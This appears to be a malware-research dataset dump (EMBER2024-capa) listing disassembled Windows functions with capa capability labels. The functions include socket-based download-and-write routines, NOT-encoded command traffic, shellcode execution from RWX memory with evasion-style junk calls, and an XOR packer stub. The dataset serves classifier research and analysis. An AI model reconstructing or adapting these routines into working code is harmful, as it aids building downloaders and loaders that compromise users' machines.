joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403bf0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push ebx
push edi
call fcn.00403d30
add esp, 8
mov dword [ebp - 0x41c], eax
test eax, eax
jne 0x403d16
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00408320
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], dx
call fcn.00408320
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x416ef0
lea ecx, [ecx]
cmp word [esi], 0
je 0x403ca6
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.00404a4c
add esp, 0xc
push esi
lea ecx, [ebp - 0x418]
push 0x104
push ecx
call fcn.004049d7
add esp, 0xc
add esi, 0x118
cmp esi, 0x417468
jl 0x403c70
mov esi, 0x416ef0
lea esp, [esp]
cmp word [esi], 0
je 0x403cd2
push ebx
push edi
mov ecx, esi
call fcn.00404640
add esp, 8
add esi, 0x118
cmp esi, 0x417468
jl 0x403cc0
push 0x417c80
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.004049d7
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, 2
je 0x403d16
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004049c8
mov esp, ebp
pop ebp
ret

Function at 0x403f80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ac
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x808]
cmp eax, ebx
je 0x403fa5
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x9a8]
push ecx
push 0x101
mov dword [ebp - 0x9ac], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403fd7
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004049c8
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403fc6
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404017
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [ebp - 0x9ac]
push edx
mov dword [ebp - 0x9ac], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x40406d
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [ebp - 0x814], edx
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x818]
mov word [ebp - 0x816], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40406d
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004049c8
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x40407c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.004049c8
mov esp, ebp
pop ebp
ret
Function at 0x4041f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x40426c
cmp edi, eax
jle 0x404216
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x404206
lea ebx, [edi + 7]
push ebx
call fcn.00405a8e
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x415f14]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x415f18]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.00408e90
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40426f
cmp eax, ebx
jne 0x40426f
mov dword [ebp - 4], 1
jmp 0x40426f
mov esi, dword [ebp + 8]
test esi, esi
je 0x40427c
push esi
call fcn.00405e67
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4044a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], ebx
lea ecx, [ebp - 0x8cc]
test eax, eax
je 0x4044dc
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [edx]
xor edi, edi
mov dword [ebp - 0x8d0], edi
test esi, esi
je 0x404627
test ebx, ebx
je 0x404627
push 0xc7
lea ecx, [ebp - 0xcb]
push edi
push ecx
mov byte [ebp - 0xcc], al
call fcn.00408320
add esp, 0xc
push edi
push 2
lea edx, [ebp - 0xcc]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x404625
test eax, eax
je 0x404625
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
xor esi, esi
call fcn.00405a8e
add esp, 4
mov ebx, eax
test edi, edi
jle 0x404601
jmp 0x404560
mov eax, dword [ebp - 0x8d8]
push 0
mov ecx, edi
sub ecx, esi
push ecx
mov ecx, dword [eax]
lea edx, [esi + ebx]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4045db
test eax, eax
je 0x4045db
add esi, eax
cmp edi, esi
jg 0x404560
cmp esi, 5
jl 0x404601
mov edx, dword [0x415f14]
sub esi, 5
cmp edx, dword [ebx]
jne 0x404601
mov al, byte [ebx + 4]
cmp al, byte [0x415f18]
jne 0x404601
test esi, esi
jle 0x4045ba
lea eax, [ebx + 5]
mov edi, esi
nop
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x4045b0
mov edi, dword [ebp - 0x8dc]
mov eax, dword [edi]
cmp eax, esi
jl 0x4045e3
mov eax, dword [ebp - 0x8d4]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408e90
mov dword [edi], esi
jmp 0x4045f4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404601
mov edx, dword [ebp - 0x8d4]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408e90
add esp, 0xc
mov dword [ebp - 0x8d0], 1
test ebx, ebx
je 0x40460e
push ebx
call fcn.00405e67
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004049c8
mov esp, ebp
pop ebp
ret
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004049c8
mov esp, ebp
pop ebp
ret
Function at 0x404640
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov ebx, ecx
lea ecx, [ebp - 0x610]
push 0
push ecx
mov dword [ebp - 0xe24], eax
call fcn.00408320
add esp, 0xc
push ebx
lea edx, [ebp - 0x610]
push 0x1ff
push edx
call fcn.00404a4c
mov eax, ebx
add esp, 0xc
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404691
sub eax, edx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x417a80
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
jmp 0x4046c0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4046c0
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 0x202]
push 0x10000
mov dword [ebp - 0xe28], eax
call fcn.0040550d
add esp, 4
push 0x10000
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00408320
add esp, 0xc
push 0x7fe
lea edx, [ebp - 0xe0e]
xor ecx, ecx
push esi
push edx
mov dword [ebp - 0xe1c], 0x10000
mov word [ebp - 0xe10], cx
call fcn.00408320
add esp, 0xc
push 0x206
lea ecx, [ebp - 0x20e]
xor eax, eax
push esi
push ecx
mov dword [ebp - 0xe18], esi
mov dword [ebp - 0xe14], esi
mov dword [ebp - 0xe20], esi
mov word [ebp - 0x210], ax
call fcn.00408320
add esp, 0xc
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 0xe24]
lea eax, [ebp - 0xe10]
push eax
push ecx
lea esi, [ebp - 0xe18]
call fcn.00403f80
add esp, 8
test eax, eax
je 0x40485c
mov eax, dword [ebp - 0xe28]
lea edx, [ebp - 0xe10]
push edx
push eax
lea ecx, [ebp - 0x610]
push ecx
push 0xbba
mov edx, esi
call fcn.00404090
add esp, 0x10
test eax, eax
je 0x40485c
lea edx, [ebp - 0xe10]
push edx
lea eax, [ebp - 0xe20]
push eax
mov ecx, esi
push ecx
lea edx, [ebp - 0xe1c]
mov ecx, ebx
call fcn.00404290
add esp, 0xc
test eax, eax
je 0x40485c
mov edx, 0xbba
cmp word [ebp - 0xe20], dx
jne 0x40485c
cmp dword [ebp - 0xe1c], 0
je 0x40485c
cmp byte [ebx], 0
jne 0x40485c
push 0x417c80
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004049d7
add esp, 0xc
push 0x41393c
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0xe14]
push edx
mov dword [ebp - 0xe14], 0
call fcn.00404cf9
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x404852
lea eax, [ebp - 0xe14]
push eax
mov edi, esi
call fcn.004048a0
add esp, 4
mov dword [ebp - 0xe14], 1
test ebx, ebx
je 0x404869
push ebx
call fcn.004055a1
add esp, 4
mov eax, dword [ebp - 0xe18]
test eax, eax
je 0x40487a
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004049c8
mov esp, ebp
pop ebp
ret
Function at 0x4048a0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040df40
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [edi]
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push ebx
push 4
lea ecx, [ebp - 0x1008]
push ecx
push edx
mov dword [ebp - 0x100c], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x4048ec
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004049c8
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], ebx
jbe 0x404938
push esi
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x404937
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
push esi
lea ecx, [ebp - 0x1004]
push 1
push ecx
call fcn.004051df
add ebx, esi
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x4048f5
pop esi
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
call fcn.00405014
mov ecx, dword [ebp - 4]
add esp, 4
cmp ebx, dword [ebp - 0x1008]
pop ebx
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.004049c8
mov esp, ebp
pop ebp
ret

Function at 0x4049c8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415048]
jne 0x4049d2
repz ret
jmp fcn.0040614e
Function at 0x40e2db
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409e93
and dword [ebp - 0x14], 0
cmp dword [0x416cac], 0
mov dword [ebp - 0x18], eax
jne 0x40e38e
push 0x412318
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40e436
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41230c
push ebx
call edi
test eax, eax
je 0x40e436
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4122fc
push ebx
mov dword [0x416cac], eax
call edi
push eax
call esi
push 0x4122e8
push ebx
mov dword [0x416cb0], eax
call edi
push eax
call esi
push 0x4122cc
push ebx
mov dword [0x416cb4], eax
call edi
push eax
call esi
mov dword [0x416cbc], eax
test eax, eax
je 0x40e38e
push 0x4122b4
push ebx
call edi
push eax
call esi
mov dword [0x416cb8], eax
mov eax, dword [0x416cb8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40e3e7
cmp dword [0x416cbc], ecx
je 0x40e3e7
push eax
call esi
push dword [0x416cbc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40e3e7
test ebx, ebx
je 0x40e3e7
call edi
test eax, eax
je 0x40e3de
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40e3de
test byte [ebp - 8], 1
jne 0x40e3e7
or dword [ebp + 0x10], 0x200000
jmp 0x40e41a
mov eax, dword [0x416cb0]
cmp eax, dword [ebp - 0x18]
je 0x40e41a
push eax
call esi
test eax, eax
je 0x40e41a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40e41a
mov eax, dword [0x416cb4]
cmp eax, dword [ebp - 0x18]
je 0x40e41a
push eax
call esi
test eax, eax
je 0x40e41a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x416cac]
call esi
test eax, eax
je 0x40e436
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40e438
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004049c8
leave
ret
Function at 0x401370
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x8c8580]
sub esp, 0x4b4
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x401406
lea eax, [ebp - 4]
push eax
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0
lea edx, [ebp - 5]
push edx
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.duma
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401e1a
push 0
push 0
call fcn.00401adc
add esp, 0xc
push 0
call fcn.004020d0
add eax, 0x1134b
push eax
push 0
mov dword [0x8c8580], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x8c8580]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push edx
push eax
mov dword [0x8c74d4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x2710
jge 0x401453
lea eax, [ebp - 0x4b0]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401440
xor esi, esi
cmp dword [0x8c8580], esi
jbe 0x4014ad
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea esp, [esp]
mov ecx, dword [0x8c8584]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x8c74d4]
mov byte [eax + esi], dl
cmp dword [0x8c8580], 0xa8
jne 0x4014a4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [ebp - 0xb0]
push ecx
call edi
inc esi
cmp esi, dword [0x8c8580]
jb 0x401470
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [ebp - 4], eax
mov edx, dword [0x8c8580]
add edx, eax
cmp edx, 0xe
jne 0x401516
push 0
push 0
push str.axugu
call esi
push str.vovufizifibonetebow_sef_cewuzigo
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [ebp - 4]
inc eax
cmp eax, 0x39621
mov dword [ebp - 4], eax
jl 0x4014c4
call fcn.00401250
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
call edi
cmp esi, 0x26
jne 0x40153c
call fcn.00401350
inc esi
cmp esi, 0x6753f
jl 0x401530
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, 0x7b
cmp dword [0x8c8580], 0x86
jne 0x40156c
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
sub edi, 1
jne 0x401550
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402790
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a80d8]
jne 0x40279a
repz ret
jmp fcn.00407b0e

Function at 0x407737
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403219
and dword [ebp - 4], 0
cmp dword [0x4a9f4c], 0
mov ebx, eax
jne 0x4077e8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407899
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407899
push eax
call fcn.004031a7
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4a9f4c], eax
call esi
push eax
call fcn.004031a7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4a9f50], eax
call esi
push eax
call fcn.004031a7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4a9f54], eax
call esi
push eax
call fcn.004031a7
pop ecx
mov dword [0x4a9f5c], eax
test eax, eax
je 0x4077e8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004031a7
pop ecx
mov dword [0x4a9f58], eax
mov eax, dword [0x4a9f58]
cmp eax, ebx
je 0x407840
cmp dword [0x4a9f5c], ebx
je 0x407840
push eax
call fcn.00403222
push dword [0x4a9f5c]
mov esi, eax
call fcn.00403222
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407840
test edi, edi
je 0x407840
call esi
test eax, eax
je 0x407837
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407837
test byte [ebp - 0xc], 1
jne 0x407840
or dword [ebp + 0x10], 0x200000
jmp 0x407879
mov eax, dword [0x4a9f50]
cmp eax, ebx
je 0x407879
push eax
call fcn.00403222
pop ecx
test eax, eax
je 0x407879
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407879
mov eax, dword [0x4a9f54]
cmp eax, ebx
je 0x407879
push eax
call fcn.00403222
pop ecx
test eax, eax
je 0x407879
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a9f4c]
call fcn.00403222
pop ecx
test eax, eax
je 0x407899
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40789b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41829b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4233dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040e5b2
and dword [ebp - 0x14], 0
cmp dword [0x4cd434], 0
mov dword [ebp - 0x18], eax
jne 0x41834e
push 0x403ff0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4183f6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403fe4
push ebx
call edi
test eax, eax
je 0x4183f6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403fd4
push ebx
mov dword [0x4cd434], eax
call edi
push eax
call esi
push 0x403fc0
push ebx
mov dword [0x4cd438], eax
call edi
push eax
call esi
push 0x403fa4
push ebx
mov dword [0x4cd43c], eax
call edi
push eax
call esi
mov dword [0x4cd444], eax
test eax, eax
je 0x41834e
push 0x403f8c
push ebx
call edi
push eax
call esi
mov dword [0x4cd440], eax
mov eax, dword [0x4cd440]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4183a7
cmp dword [0x4cd444], ecx
je 0x4183a7
push eax
call esi
push dword [0x4cd444]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4183a7
test ebx, ebx
je 0x4183a7
call edi
test eax, eax
je 0x41839e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41839e
test byte [ebp - 8], 1
jne 0x4183a7
or dword [ebp + 0x10], 0x200000
jmp 0x4183da
mov eax, dword [0x4cd438]
cmp eax, dword [ebp - 0x18]
je 0x4183da
push eax
call esi
test eax, eax
je 0x4183da
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4183da
mov eax, dword [0x4cd43c]
cmp eax, dword [ebp - 0x18]
je 0x4183da
push eax
call esi
test eax, eax
je 0x4183da
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4cd434]
call esi
test eax, eax
je 0x4183f6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4183f8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b77e
leave
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219